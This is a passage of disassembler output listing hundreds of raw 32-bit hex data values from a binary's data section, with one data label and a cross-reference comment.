dd 6C223300h, 386E8AF3h, 67A409C9h, 0A01073DCh, 582CE7FCh
dd 46768CC5h, 941B0B1Dh, 29AE0B9Bh, 0E88898ECh, 85FB1619h
dd 69846072h, 0C1413FA0h
dd 0C65A801h, 2C098462h, 6C66B5D8h, 0C8220D05h, 9CA27D87h
dd 2206C3C3h, 4C1A23A8h, 80009899h, 595FC8A2h, 0E8584845h
dd 0D9F6F903h, 24C334EAh, 848CC7DDh, 30D82218h, 0F1341DCh
dd 0D88B3DECh, 541F47Fh, 52BB9E91h, 0E2ACE263h, 2D9130C7h
dd 71609506h, 7B897D45h, 0BE8B12C1h, 9728016Dh, 2C2074E5h
dd 0C8B4CB74h, 27F2BF4h, 0C9B7333Dh, 8957A59Fh, 8AA005D8h
dd 48010E0h, 0A904E737h, 0FA188849h, 81B14438h, 7EDC78C9h
dd 8C68BD32h, 6016F001h, 0C4EF2CEBh, 0D72F13A0h, 19C00772h
dd 0D544944Ah, 1041DB60h, 0C425EC26h, 41D3F873h, 657F017Dh
dd 541542CBh, 87C9001Ah, 80B4BCA6h, 7792D9F2h, 0CA0757E4h
dd 0E7B0EFB9h, 40A46F5Bh, 8C79AD97h, 17F9D2Fh, 639809C0h
dd 0B4ECC4EEh, 0D548DC8Ch, 0BCD1158h, 3FBFA00Ch, 0A5180760h
dd 5B180849h, 0A02F54B0h, 0AC38A91Fh, 22080E18h, 0C46587DBh
dd 7C84013h, 16D4A22h, 81460BDFh, 381E61AEh, 90E08EC4h
dd 1947580Ah, 791108D4h, 0E788EF05h, 213804D6h, 3C880BE5h
dd 9B243861h, 364A80F4h, 52CDF43Fh, 0C179B614h, 954611D0h
dd 60C76278h, 0E9001499h, 45CD3B88h, 0C11F172h, 0C678A7Bh
dd 1962C442h, 88ECF477h, 60E05B32h, 0E820E0DCh, 8BECBC74h
dd 0D41F9155h, 59816B91h, 6045921Ah, 6840508Ch, 9A9312BBh
dd 1558C065h, 70B46BACh, 59943289h, 1D51194h, 0AC47E782h
dd 58747683h, 0FEA241DBh, 5AC0DCCDh, 0CED57Eh, 2F430426h
dd 0B1394212h, 2E080749h, 0BB002303h, 0E4FAF224h, 0EFDF2677h
dd 0F51640D4h, 0A90AC08Ah, 48723E83h, 162B4340h, 8070E04Fh
dd 31CF2D8h, 120EDC76h, 0AC95000Ah, 438A70Dh, 545E8BC7h
dd 0F2F895C8h, 307FE27Ch, 1809AE37h, 0E90371h, 0F13F5A71h
dd 0CBA63D99h, 44D28B97h, 0BC61411Ch, 8C07BC18h, 5B93BF1Fh
dd 5E1CF5C0h, 0BADCE542h, 4EC89870h, 2BC002AAh, 80E09227h
dd 1F0C2EA1h, 0D830114Dh, 4F7C0663h, 1019E1ADh, 0C898ED09h
dd 0D298000Fh, 3C43859h, 926142DCh, 50FEFA93h, 13305805h
dd 8C3A9A71h, 0CE0E7D23h, 2CB960F6h, 0FBFC8CFh, 0FCC35D14h
dd 0DF947420h, 0E62463D5h, 0A0087851h, 54904B4Fh, 5B0298ACh
dd 8BA05E74h, 63906FCDh, 0C08CA449h, 72DD9314h, 18DA8Bh
dd 64831661h, 0F4A09584h, 0FF5C593Ah, 2F24A3Eh, 0DAB1BF97h
dd 0C47067D9h, 8732601Eh, 4840101h, 996FDB49h, 0F4402AA7h
dd 5212273Ch, 0BBBE3B28h, 2B90F704h, 4DCA878h, 0DBD4A689h
dd 8A9B8D4h, 97182931h, 4D010AC5h, 7FB0E9EDh, 0B17843D5h
dd 0BC5CCCA4h, 56789686h, 8062C721h, 69C083A8h, 16F2AD67h
dd 0F388A4BEh, 0A3C664CAh, 3013E244h, 2B4A875Ch, 7619088h
dd 15D5B268h, 0F8C09F5Dh, 6DA41ECEh, 58A1BA00h, 839FD6FFh
dd 913901F9h, 0F379BF04h, 9503C86h, 612AED43h, 0C42638CCh
dd 20E23EE0h, 87149DE2h, 1CA097A4h, 30122CD4h, 22200087h
dd 0C3FEABh, 0C7CA8C89h, 0C9107254h, 6361E1F8h, 0FECE58C9h
dd 4474F4h, 0D7F212A3h, 5D77F175h, 1E761703h, 92796E91h
dd 3044ABh, 0CC244328h, 0D86D59Fh, 0B8B67013h, 0E3DF708Bh
dd 4FC3DD00h, 31DCFBAh, 0BBD04BF1h, 0C1D48382h, 2F633E00h
dd 90E4B84Eh, 82B4AA1Dh, 8BFD2BC1h, 0D08704E0h, 0C3A725Fh
dd 6001C23h, 0B22499A4h, 0E9E60465h, 0A83E53E8h, 675E08CCh
dd 4FE202EBh, 9C67EF49h, 8C600864h, 9B00DBAEh, 34428078h
dd 49AA3F51h, 9C3E64CAh, 90E79680h, 0D232A063h, 0F39A3800h
dd 73C0B2C2h, 97FC06B8h, 0A0E274AFh, 0D66CDA48h, 68854094h
dd 89A59500h, 90FF0B99h, 20ED22B4h, 5B074013h, 83027008h
dd 0DFB13236h, 16FC3058h, 9091DE23h, 0ED002CC5h, 3BFD1388h
dd 22589C36h, 3D4C29F5h, 97B216D1h, 0E541C830h, 681062D0h
dd 94419B95h, 37E4401Fh, 0E018DAC2h, 16B911E6h, 0D1DB4A85h
dd 22373428h, 301DF224h, 0F900DE50h, 7AD9B638h, 9069EA72h
dd 2AB4608h, 87C6220Fh, 1FCE76Dh, 2F2208C5h, 0B0203B51h
dd 648B4Dh, 5FCCE85Bh, 0DBA0EA1Ch, 0D9A80595h, 6822F4B1h
dd 32208384h, 6FB930D9h, 0A642DA17h, 1184838h, 3FE06FB1h
dd 0E0FA26B3h, 7525B094h, 20CC48E1h, 715B3F9Ah, 52930373h
dd 0A9BCDBE5h, 0F8B37CA8h, 37A0EF1Ch, 1402265h, 44011A17h
dd 32470BDFh, 21C6CCC4h, 0C0FB5CAAh, 19732608h, 1054444Bh
dd 487FBD5Eh, 0D72F13B4h, 4A2FF889h, 0C420AA6Ch, 59284003h
dd 0B0EAE230h, 5DC21B8h, 0D0279691h, 8866FC4Dh, 24E88290h
dd 0B44A1248h, 33A0060h, 0C4D401FEh, 60A9185h, 1D4F9C3h
dd 81FA10C8h, 8214881Ah, 20A14E87h, 2B20485Ah, 2D18C433h
dd 69EF040Ch, 18BC18ACh, 8992178Ch, 83140441h, 84F406CCh
dd 0C68B22B0h, 0A06C6531h, 0B4536246h, 0CD299D6h, 12898020h
dd 0E91F8D56h, 0CB6B1870h, 274E8B38h, 0A0EDE2DEh, 44057990h
dd 0D51178E5h, 5D70C8F0h, 0F33EFD73h, 51BB05CBh, 0B4B2B974h
dd 5EB5E101h, 20EBB834h, 8B4CF48h, 88303424h, 0B971323Bh
dd 6660C204h, 44200209h, 5E045A61h, 0DAB80A06h, 3B6D11C0h
dd 5F9121Fh, 0DEA74421h, 897C8C33h, 398441C9h, 1649012Dh
dd 0AE831980h, 1DCC5A86h, 0E9C95901h, 78BB60ACh, 53C15870h
dd 16A2DCCAh, 1C660D31h, 54A9FC00h, 1FBB3EF3h, 0C6D170B9h
dd 0EA774418h, 0B44BB15Fh, 93D0C882h, 0D2150BFBh, 0D0EBE7A8h
dd 624451A0h, 928D33Dh, 91D985EAh, 0D02BE138h, 8481C3A0h
dd 0C2A36005h, 20AC63BEh, 248C20E8h, 39E83D67h, 0F0B8060Bh
dd 9317D418h, 2CC12E4Eh, 829E2DFh, 7A837C09h, 79095870h
dd 0A177AD8Ch, 15AE8BA8h, 0B7B8C8C6h, 604AB8B8h, 24E1C806h
dd 37E6E882h, 18211F06h, 5686410h, 8ED020E7h, 1A840003h
dd 0CF340E94h, 465C5CBCh, 815D3E7Ah, 0E29795FCh, 0E5E00C5Bh
dd 0CCC31643h, 0C8D08B9Ch, 4E63C004h, 1C389622h, 6C89A6BDh
dd 754674h, 0A9AC176Ah, 83BC012h, 2DE9DF25h, 0A80154A4h
dd 39CD9207h, 23D02F3Fh, 0CF300076h, 0BDA6872Fh, 0F1C02E50h
dd 9D4D900h, 0E05797B7h, 25DA7991h, 946BB973h, 0FB0B22C0h
dd 0AD84E800h, 447CE7BFh, 3F341726h, 0C81CCB49h, 131C079h
dd 0E7049BB1h, 56FB94E4h, 0C41898A1h, 0A932579h, 32EF1840h
dd 0D78D1610h, 0F0210207h, 3CA29B80h, 6CF2A6FBh, 80944C5Ch
dd 596C20AEh, 5A0D24DBh, 4F1A4088h, 30EB9415h, 7D022018h
dd 0D0E24CA9h, 70F45B29h, 3C000704h, 951FE6Eh, 49DFFC1h
dd 87C9D7A9h, 237CBCDDh, 9C823D07h, 343E91B3h, 0EE4088F1h
dd 88A9CD5h, 0EA25566Ah, 38C9CB3Bh, 4E2B9008h, 0FDD0C88Eh
dd 6B3420h, 0E47752BBh, 0EA207BB7h, 0DF28BA98h, 0A912401Bh
dd 4121A5Dh, 13237C3Ah, 3CA1CB03h, 261E83F8h, 0A50DA70h
dd 2C789DA7h, 5427DCECh, 838C416h, 67DCFD41h, 0F7839501h
dd 847C1FA5h, 6243C7E8h, 0E7289B00h, 39550718h, 8435125Eh
dd 1AC81CCAh, 4C99A0CEh, 1689B40Eh, 0A398EFF1h, 0E2A84204h
dd 2AEC301Bh, 6A9A0500h, 71F7473Fh, 51AA582Eh, 70781F29h
dd 0E866133h, 2DEE443Fh, 7DDBBCA0h, 718E382h, 4790EB1h
dd 17F403DFh, 0B368DDFEh, 0BA31D1F8h, 252DFC01h, 0EA72373Bh
dd 2870206Ah, 0BB2D3243h, 0E470C502h, 0AE3C60CDh, 6EF4005Fh
dd 6BC19FFCh, 0FD2E940Ah, 2C8070FFh, 0A347E1D9h, 0F4409A2h
dd 0C0C8E2D5h, 45008DB3h
dd 0FFD083DBh, 0AE6643h, 0EBE98124h, 405F7561h, 6C1DD975h
dd 63C94476h, 0AAFC68ABh, 389C0C9h, 604F5841h, 6D07F100h
dd 0F8AF2CA2h, 0E0B6FE2Fh, 151A0077h, 7DE47380h, 1216E666h
dd 34CB0F68h, 63C0C5C8h, 0ECB0ED5Dh, 22E0C016h, 7E81D41h
dd 0F37CB0BAh, 4A796840h, 4978815Eh, 9561072Ch, 0EC283D1Fh
dd 7621A7E2h, 69015BEAh, 8D28680Fh, 0AC6021B7h, 951C40B0h
dd 0A0D38B24h, 0C4F54384h, 3807C8B8h, 861DC101h, 1F611103h
dd 8ABD4158h, 4FB84C6Dh, 11144C1Fh, 0BDC20400h, 2E7C5143h
dd 80EC1693h, 96E75759h, 70D6AD88h, 10D7E012h, 914E8961h
dd 0C0126428h, 23803B38h, 0F3400331h, 18B83ABEh, 0EF4A98ECh
dd 0E2D8D818h, 0E1FD006Ah, 0D3C935B9h, 5896AC63h, 0A41C5760h
dd 541D1042h, 48383F0Dh, 8CCCE87Ch, 35CD9800h, 15FCE731h
dd 43D504C4h, 0ECBD3736h, 0FC335EFCh, 8440AD49h, 1608E655h
dd 73720078h, 0CCDAD04Ch, 0DD0C6985h, 29E10132h, 0E4179529h
dd 0A8871B91h, 8FDC303Fh, 0CA1F99AEh, 586732B8h, 22184E4Ch
dd 0BE30DE68h, 42DD3D6Fh, 648BDEh, 696FB617h, 13B4A87Ah
dd 0B03244C8h, 5B8090E8h, 1B04271Dh, 29780010h, 4FA05380h
dd 0C4BCC7AFh, 648FD42h, 3C43886Fh, 85895818h, 0E924015Bh
dd 3E1FE8h, 150722h, 395AE04Bh, 7F68D9F0h, 8048CC3Ah, 8659AC62h
dd 0E210ED30h, 7882564h, 0AE878860h, 4C762927h, 60F08DC0h
dd 25ECE408h, 45BF23Eh, 0E1DF273Dh, 0FB1280A2h, 2E7C5CA2h
dd 16174340h, 74762890h, 72808C91h, 0DF066C4Bh, 41FA60E6h
dd 808EF394h, 1CF06082h, 0E4B18011h, 0D29E0C2h, 827CFC5Bh
dd 429B0A5Eh, 9A97B0F8h, 0BC861E4h, 0BFF6D918h, 0C5DE9125h
dd 0D1EA80C8h, 67F3A79Ch, 0AE63E716h, 580D1C21h, 7F98316Ah
dd 979F0033h, 181C69E2h, 7F796051h, 0CC308C18h, 0ED2FB0C4h
dd 98E252F7h, 0F601BF00h, 5A9781E1h, 4781986Bh, 80F16FF0h
dd 0CDAFD220h, 0AE850A54h, 7490B444h, 38011346h, 0F544E8CAh
dd 0D4406BFCh, 0AD63D9BAh, 0DEDC4A1Bh, 34BC8048h, 9164043h
dd 0A1E787FDh, 482894A7h, 0F0A4A902h, 8B585C1Ah, 0D4718B16h
dd 1065888h, 0E6E04217h, 0AC39802Bh, 0D6B333B1h, 4F34B40Dh
dd 0BF5B8C20h, 970741F8h, 3DDC4366h, 0DAC0C5F3h, 0E64082FCh
dd 930A202Ch, 3490666Ah, 0E85A5B24h, 4AA0D695h, 6CC8F4CBh
dd 9DAE28C0h, 9900082h, 0FD444272h, 0F09405ACh, 0C2E9F986h
dd 4054F8E0h, 0A54EBB09h, 0C4C8E08Bh, 54E2ADC2h, 0CFA68FD4h
dd 98868340h, 64064287h, 6E600DEDh, 94632D21h, 5D4E8810h
dd 9F1A1940h, 64D1FC4Ah, 0A5182079h, 4CA7EF28h, 0A20C0800h
dd 6D847F4h, 0EE2000AFh, 42AE8BFFh, 22B5D994h, 0F37BF048h
dd 6306704Ch, 2A18540Fh, 5C518348h, 3F59F86Ch, 5ED90255h
dd 0C9C6961Dh, 0CE0814F6h, 6BE10D77h, 466AD469h, 71738302h
dd 0D4B45645h, 0BD429F0h, 0A412E155h, 1879D0D9h, 0CD056A18h
dd 67A0EF9Ah, 0A73884ECh, 64A0692Dh, 68D1815Fh, 0EE4574B8h
dd 46E2Bh, 0B153707h, 28A011D6h, 5F849F09h, 435C897Ah
dd 98B49834h, 0C0BC96A4h, 418E5B42h, 3602DAF8h, 6718117Dh
dd 9FFEA460h, 17550842h, 80C691A4h, 2BD0E47Ch, 980CA28Ah
dd 0AF96D8h, 0CF1EB9AEh, 741E322h, 6A8A9D01h, 8FD8043Bh
dd 443C67D6h, 1070601Ah, 6B6D0020h, 0E8EDF289h, 0BF3C42A2h
dd 2546172Ah, 4E5304C0h, 20210922h, 68480A10h, 0F0886A42h
dd 178528E8h, 0DC88B4E0h, 0A4A1BE04h, 38D04749h, 5EC9FC3h
dd 4E897357h, 201CA111h, 8C98014Ch, 20EA5Bh, 802E794Eh
dd 5709FE63h, 13956E7Ah, 692010E0h, 19E06317h, 0AAA82520h
dd 0EFBFF4E8h, 0F8FA0500h, 3CE11497h, 358B0009h, 0D812969Ah
dd 0BC99E5E0h, 0E2DCC702h, 0FC04681Bh, 9DF832E8h, 7E040398h
dd 0E2881645h, 471302C8h, 5E6A5CA7h, 0D04676E0h, 49B04006h
dd 4201513Dh, 9D45E49Fh, 8090DECAh, 50C12608h, 6440C569h
dd 0A9AF611Dh, 26DCBBF4h, 810C477h, 9826CC1Ah, 1044674h
dd 10CAC3A4h, 0C070AA1Bh, 491A4015h, 7021435Ah, 0AC21C697h
dd 2610086Ah, 0C0C4EDADh, 0A9381CD1h, 4F12BDE6h, 0E78A0h
dd 55053005h, 0BCDAFB98h, 0ED410438h, 0B1046C20h, 0E204D462h
dd 301EF210h, 0B002F3BCh, 7398374Bh, 5C0257A8h, 1061D593h
dd 7D603070h, 14766140h, 0B0EA151Ah, 93CE1210h, 823282Eh
dd 85ABB000h, 29A2358h, 0C7217F82h, 0E85111A7h, 0BF87DF11h
dd 0B642726Fh, 1A61A459h, 0CEC86FB7h, 647E06AEh, 71184999h
dd 0E43F51ECh, 81218F90h, 0C657A0AAh, 98286729h, 2AF300A4h
dd 1F859207h, 230272C4h, 90B6BF7h, 90AC6110h, 7DAF02DEh
dd 2344B4F8h, 209C0A7h, 6EE76F74h, 7D3D8700h, 0E663DF72h
dd 918A7F5Dh, 1805D168h, 329F38D3h, 0B522AD03h, 0F8E408BEh
dd 8C1CBC50h, 7AABA503h, 0B1E328DFh, 17A8149h, 5E9B9460h
dd 0F60F0288h, 0ACAE1E7Ch, 97638B94h, 79524B0h, 5A98ED80h
dd 8EC484A7h, 0E39CDCh, 0EB94412Fh, 0A0958916h, 0C00BABB0h
dd 0DA613BDh, 0B234B314h, 1AF83380h, 1D242DADh, 0D6182888h
dd 86D561h, 0EDEEC6BBh, 78A4E0B0h, 64D22324h, 7D3E108h
dd 0AAF88B95h, 1EB00088h, 8A058107h, 0D7726B03h, 2C55132h
dd 0A68BA26Ah, 88903ABAh, 0CC9869BDh, 573B9FE6h, 1081258Dh
dd 27421278h, 1CC0DB65h, 0D6801980h, 46BD0C24h, 0EF487731h
dd 1E4005E0h, 4A58B88Bh, 598483F7h, 0F0C61008h, 868AC12h
dd 61110681h, 0B390EF0Eh, 0A68940D8h, 0FC90494Fh, 833A47F8h
dd 152898F0h, 10FF4892h, 1E5BA2Fh, 67B60332h, 0F4669724h
dd 4405A9FBh, 0D9C8B237h, 0FEC00CDBh, 9B92FFB3h, 0F8642A30h
dd 4E381D5Bh, 7AAC2272h, 339D9120h, 3022B5CAh, 0E9011755h
dd 0AC385788h, 110873Eh, 0E8E70502h, 21AE2127h, 21F696Ch
dd 8008DCB4h, 37BB5789h, 5807315Ah, 2A089AB1h, 0E20E3C50h
dd 8C0755E8h, 89225828h, 0AAF32C0Ah, 8C08586Eh, 2CED626Bh
dd 9B91C200h, 2421956Eh, 843FBA0Bh, 0C9D0C730h, 0E10ED523h
dd 343BA0E9h, 40B2A4F0h, 8D3080F2h, 0BDB404E5h, 0AAFBDEACh
dd 1FA00C60h, 4FFC803Dh, 1D995403h, 2E1543h, 1BA4A999h
dd 5871A860h, 0BD292B02h, 0F6AE6389h, 0C576298h, 0B6B09855h
dd 69B2797h, 7183D4C3h, 2B47911Ch, 371EEA28h, 18405DFCh
dd 0C83EBDBAh, 6D4C00ACh, 0C09089C3h, 4405BE32h, 14F54B49h
dd 0FE05CB0h, 436F8395h, 0EA141CF2h, 15EF17A8h, 3898C284h
dd 3058205Bh, 97921C70h, 7593808Ch, 0E0BA2CC6h, 10A81349h
dd 0C2006898h, 0FC9CFD2Bh, 2414A1A9h, 5F88C9B2h, 395AC088h
dd 0BC8196E4h, 8EFB7305h, 0A313C4EFh, 488CA148h, 8C01E8F0h
dd 33D6E00h, 0BD372F98h, 0E61D0594h, 0B85E1A79h, 8C19E878h
dd 3C7C0460h, 35EEF90h, 5689CA93h, 0E8792AB9h, 0A687CC09h
dd 53B0A791h, 55316F02h, 3015CBDh, 5E21FEDEh, 0DC22D821h
dd 0F3925904h, 5400BBD8h, 0FB91C178h, 0F48BBDEAh, 2496FCF0h
dd 9065740h, 0F27607B4h, 20D7B6B3h, 0C9B3F9Ah, 1164FE4Ch
dd 884F1925h, 0E658094Ch, 96522C4h, 0DCFDC4B7h, 2F64F041h
dd 15988804h, 0A4B257h, 3FCD997Ch, 0A19DAh, 886F72C0h
dd 50A0B7D2h, 954B8B10h, 41C1E030h, 0C4F4015h, 20839862h
dd 0D3AE74FCh, 61B07B30h, 151720D8h, 18B6407Ch, 0F840133Ah
dd 0FE039D78h
dd 2F5A5C55h, 3AB0Dh, 0F247E139h, 9FDB67CCh, 1E00EC7Eh
dd 0B0F00E3Bh, 0B171158Ch, 1816D9B8h, 4E890A33h, 26A40E3Dh
dd 3BDA3D4Fh, 82348h, 0AEDED30Dh, 0D700AA63h, 770E976h
dd 0C571E545h, 0B1F260h, 0F0D04640h, 9E000DFFh, 7CB43CDAh
dd 1A561Bh, 0DB3D457Ah, 0D2AD5AABh, 41EA0B17h, 4498DCF0h
dd 7100DC02h, 4322DABAh, 9E92CC4Bh, 0B57C4084h, 0A43F5E13h
dd 0F44C01C8h, 1BE04143h, 2848686Dh, 0D08A5622h, 467610D6h
dd 47860779h, 0D630DEECh, 148AF52Bh, 0A404AF49h, 8C05F8h
dd 0AA1AA62Ah, 0C6D7DFC5h, 9379A905h, 40D481E2h, 10E9ECC8h
dd 43D3398h, 0EDE3AE8Bh, 846FE203h, 6829A099h, 8C6BEC64h
dd 0CB0FA9B0h, 0C1505963h, 0B47A71BFh, 4900A06Dh, 92DCE09Eh
dd 82049DB2h, 8D45CB94h, 7E106CF2h, 24FD9261h, 0A17FFFA8h
dd 0DA9F7507h, 2E874EDh, 0DC58FB95h, 29F8A455h, 0D946B442h
dd 1AD9B059h, 80043A18h, 0A7D3577Bh, 591870FDh, 0F36DCA8Ah
dd 9981F100h, 0F0723EB9h, 83D31398h, 3ADC88ABh, 0F86F89D2h
dd 6A09AD3Fh, 4C0554F1h, 11E8FD06h, 0C700194Ch, 0E6AED6FAh
dd 170E1430h, 0C0C216A4h, 421A2453h, 9A931392h, 0D55CC972h
dd 45090020h, 510BE31h, 0F9027C49h, 0E6EDE86Ch, 22D74F8Fh
dd 0B424140Ch, 9280F0E8h, 63D57304h, 1124979Fh, 4A8880C7h
dd 0E467ADCAh, 880955Dh, 39F83F19h, 8B166313h, 3E8140D8h
dd 86366130h, 0A7021808h, 410D7918h, 8BC8761Dh, 0B0654759h
dd 186131E2h, 0E6007A52h, 0EF360B64h, 518F4BAh, 56932FA6h
dd 0E1D40582h, 0BC04BF20h, 80821117h, 69590665h, 4C435801h
dd 0C0395C28h, 8364D32Ah, 89B569EEh, 0D6D8E250h, 0C4467628h
dd 30A00A2Dh, 36925BD8h, 0EFD94202h, 0E064CB09h, 2FC0F3B4h
dd 80A373B1h, 31006556h, 7258BB1Fh, 989C498h, 0EBB0EF8Ch
dd 0BE096870h, 0FAB142F0h, 0D7D20020h, 13B80C1Ah, 0EB075A37h
dd 0AFB32B77h, 63ED8F60h, 0FD8C1E1Bh, 0A471D74Fh, 743F8C8h
dd 92C6810h, 5023A0EFh, 19FC2E80h, 480101B6h, 20D23518h
dd 1A8811A4h, 3F550068h, 0B796DDC8h, 840043E7h, 74DC07A9h
dd 968E16F1h, 0E9DF8F30h, 88DE391Ah, 4D191140h, 5EAE00BBh
dd 73D4174Eh, 0A34BB05Bh, 0ABC32002h, 2090F5B1h, 0D7256127h
dd 0B94D0ACh, 0EF9CF8D9h, 0E81E80FAh, 29014C3Ah, 18E1DF22h
dd 8305B111h, 0AC9A7741h, 1A45C0C7h, 0C2AA30C6h, 0F815FA1h
dd 80BBA802h, 7586FB1Fh, 0C4713802h, 0D9275C52h, 7CC4D4h
dd 0DDC96EE6h, 735B98C7h, 89017CEEh, 0DAC2C08Fh, 0CC7AEAABh
dd 16059240h, 0F0700A39h, 0C86C26EBh, 75F32B05h, 0A4E932EFh
dd 0C5D5FCB9h, 0EF29D00h, 0CF54483h, 9B798010h, 6A67722Dh
dd 0A9F810A4h, 0FE4E3FB1h, 0B2106313h, 0B77A0068h, 81094024h
dd 0A5C0BCAEh, 63720CC1h, 30C6F21Ch, 64508584h, 7940CA88h
dd 1004BF09h, 0F0D902DFh, 0D15089F5h, 18047968h, 0BDD40047h
dd 9FA3CA8Ch, 453E239Bh, 208CCC6Fh, 0C36A4402h, 87849F0Ch
dd 43B9E898h, 715221Fh, 1BE73743h, 0BD225117h, 0AB1441A6h
dd 33DC40D3h, 629FD9C7h, 709D550Ch, 33807F91h, 95581D08h
dd 2B4CF61Dh, 0A7ED4F47h, 92868D6h, 171C15EFh, 1D9B459h
dd 78014118h, 91D3CD6Ch, 427EC6FBh, 1868FD90h, 9088B204h
dd 0C557001Bh, 3EA3BB14h, 45053BE7h, 0F0DC249Bh, 4429444Fh
dd 0FCB57AEAh, 2791DC08h, 0B4C0CE83h, 304EBBE1h, 0CF8FA445h
dd 4E16DCA8h, 0B37C4401h, 346BFE38h, 24702E00h, 61F854DFh
dd 94288A04h, 0F2CA9Bh, 8414C010h, 5C496555h, 3ACB2C99h
dd 39AF9CC1h, 59AE8700h, 66C102F5h
dword_4E414C dd 67EA0B38h, 0B0798E98h, 1380681Dh, 0BC2F44FEh, 0D20B2D92h
; DATA XREF: ___:off_43ACE4o
dd 7E0C1800h, 0D49E9D30h, 6DD1FF40h, 0B721003Eh, 0A98086EBh
dd 0DA15BF84h, 9F0600Dh, 7C5BF0D8h, 7F98010h, 436EEB17h
dd 0DDE6209h, 41281254h, 0C82A5748h, 0C40FC2F8h, 81CDB0F9h
dd 0DFB97AB1h, 3D006833h, 856FE61Eh, 761D4FEFh, 0ACC0E180h
dd 0F3BBBA73h, 94B2F6h, 0B0AA3059h, 8395B6F8h, 0A09F2B2Ch
dd 74ECC8A7h, 4447008Dh, 8ADB15BCh, 61FF994h, 0A4D4A3B4h
dd 70B02AEh, 0D9595E53h, 181E7978h, 2D0400A8h, 7A73CE92h
dd 8712B4FEh, 0B8555556h, 6DBCACh, 113A9BCAh, 424AB089h
dd 0E128ED27h, 582DE228h, 0B5451F04h, 10FCBD06h, 6E5B1E05h
dd 0D9D500CCh, 5091A9E6h, 0DC60F7CBh, 2B6D2D4Eh, 4B5CE068h
dd 4956677h, 7BBB78F8h, 97D60248h, 496DFE93h, 4185C3B8h
dd 0A137B069h, 0C1D068B4h, 0E98CCAB2h, 0DC48C82Eh, 6617D4EEh
dd 5D0A63D3h, 7D08BCC8h, 0BC1B2D76h, 74091810h, 0AF92F20Eh
dd 491C49E6h, 0B163C207h, 4DB0E05Ah, 39EB19FBh, 0C78E235Dh
dd 0D4355ADh, 0A1279C5Ch, 0D9181063h, 69ACF049h, 0DC821109h
dd 9C825E0Bh, 0C1002E41h, 953A930Fh, 0AB20008Eh, 0B591FB95h
dd 5D0A5490h, 0EC39B4EDh, 603CFE8Eh, 929F693Dh, 81520023h
dd 0F033D1DBh, 0F89BC2B4h, 0A0E03D97h, 0F8019794h, 3991477Fh
dd 696F123Ch, 820AC008h, 0CD17E8E7h, 9B826CDEh, 768A93BBh
dd 1CB01440h, 2440FD93h, 1F8B280Dh, 9CB07864h, 0D5DA8054h
dd 9BA6892Ch, 8FB8EC52h, 2B40B8BDh, 38228228h, 64D670E6h
dd 0D4C4CD89h, 4521770h, 10AE0E8h, 0EA3F3330h, 56CA3078h
dd 2DE9007Ch, 0CE59766h, 0C0B61E4Eh, 3258B24Fh, 0A97FFC43h
dd 8E8056ACh, 0B285DD44h, 0E3202C02h, 1588E673h, 977240B4h
dd 82EB27h, 6F212B94h, 70D8560Eh, 0D6906E28h, 55B8D8E0h
dd 41821742h, 1C79E4E0h, 276A4E88h, 31E22C65h, 21541861h
dd 0AA27B80Bh, 0CA5C41BFh, 5AFC02h, 6ADC70E5h, 96506895h
dd 570C07Fh, 72FB5EAh, 89D4B700h, 427A696Eh, 0E96800E4h
dd 2A9359C5h, 9730D133h, 61B22151h, 0F37792Bh, 79505815h
dd 0DAA4E983h, 0E7B79BA0h, 0A9104897h, 4A4B07DCh, 80545CD0h
dd 2FBFF035h, 0A60071F2h, 0D59809D2h, 29A8941h, 72DDC8B4h
dd 60C26F2Ch, 0A4F4F889h, 279CE0Bh, 164E4F8h, 3EE0DCC9h
dd 0A1AC2420h, 80132628h, 9256004Dh, 0A65E25Fh, 0BCE2045Ah
dd 0E20A12BAh, 1C390402h, 47A8616Fh, 6CF9108Ch, 0A0401008h
dd 0A245408Eh, 54280F63h, 8083173h, 149F421h, 88C8E9Dh
dd 25202E3Bh, 63964C40h, 750B101Ah, 86CE0819h, 0D1114418h
dd 9F3F01F0h, 70DC001h, 270613E4h, 58330811h, 767620B1h
dd 7D8D4071h, 28084262h, 0AB20384h, 41763031h, 1898BD0Fh
dd 0ADD76920h, 0CC53FC80h, 5D59E408h, 7B194366h, 81417128h
dd 5191881Ah, 7D5C08EFh, 6051A319h, 4A0818Dh, 88626110h
dd 0C030108h, 5820963Ah, 636D6540h, 0BFCD1093h, 0FC590810h
dd 202C9E18h, 8CC66B4h, 40FB5981h, 0E5631907h, 318FBD10h
dd 0CC316308h, 56DD0177h, 12D0D01h, 0D102F394h, 0FD0BE8A2h
dd 5B4BF02h, 98E0446Dh, 95A606F6h, 8446241h, 6E02BAB3h
dd 8165065Fh, 54FAC020h, 4098E832h, 6B63235Eh, 1D053A08h
dd 2016E918h, 6CED6A40h, 5059B9B7h, 0F4DE94A8h, 912C10CCh
dd 7EB6405Ch, 9A75F4A8h, 0CDEA4680h, 0F9797430h, 0B9089802h
dd 818873D9h, 0EA002499h, 8824B0A9h, 0C4ACF79h, 60497EC6h
dd 0E70710C6h, 8CC35408h, 9C4C4093h, 0FE280163h, 1EF932B2h
dd 0F8048E59h, 0A3D88891h, 92909024h, 4D534024h, 0EB843040h
dd 52AAF301h, 0BF0448C8h, 1489A491h, 78D50888h, 0CEE0E08h
dd 34286354h, 40E51040h, 0C0645964h, 98912218h, 0F5011B66h
dd 105D0361h, 33B17929h, 249EB145h, 88A843E1h, 0B019F1EFh
dd 0C198E5B1h, 0A7BAF105h, 0F2FE08C4h, 45DAC04h, 260A448Bh
dd 0FE6D889Ch, 3C5D7B12h, 990E59F1h, 35F7901h, 2020CEC6h
dd 0F26257A6h, 2943D11h, 1C0323A1h, 0D3081015h, 0A0B72A24h
dd 33F5AF20h, 0E7187A86h, 0B09704FCh, 4164C04h, 620998AAh
dd 0B51E3022h, 0AC918504h, 11A26ED9h, 0E02C54A0h, 0D5A04028h
dd 0E08A39CAh, 8FDA888h, 0C20243CDh, 64E1BE86h, 0A9B30FA4h
dd 0A03666ADh, 0AC135BE4h, 0D8E85E45h, 76A61301h, 0E04FDA33h
dd 8D161887h, 8441E5E1h, 0ED61D6A9h, 16AC19E8h, 664717h
dd 85343618h, 0DC086097h, 8F1FE452h, 16009871h, 3D9120CFh
dd 0CABDB51Ch, 0C05E78D0h, 0D9974CB0h, 0A7C760C0h, 2AB9A0h
dd 2D285B02h, 0C686C585h, 0AC60F5F8h, 0D6E4318h, 6695309Fh
dd 0A74162D1h, 10F52530h, 7843E40Eh, 21C90096h, 454C5AC8h
dd 82006B1Bh, 240F8F91h, 5901B4h, 94FF641h, 5ABF5C7Eh
dd 0C4DF4903h, 0B02C745Bh, 0A105E672h, 2478F693h, 465EF1Eh
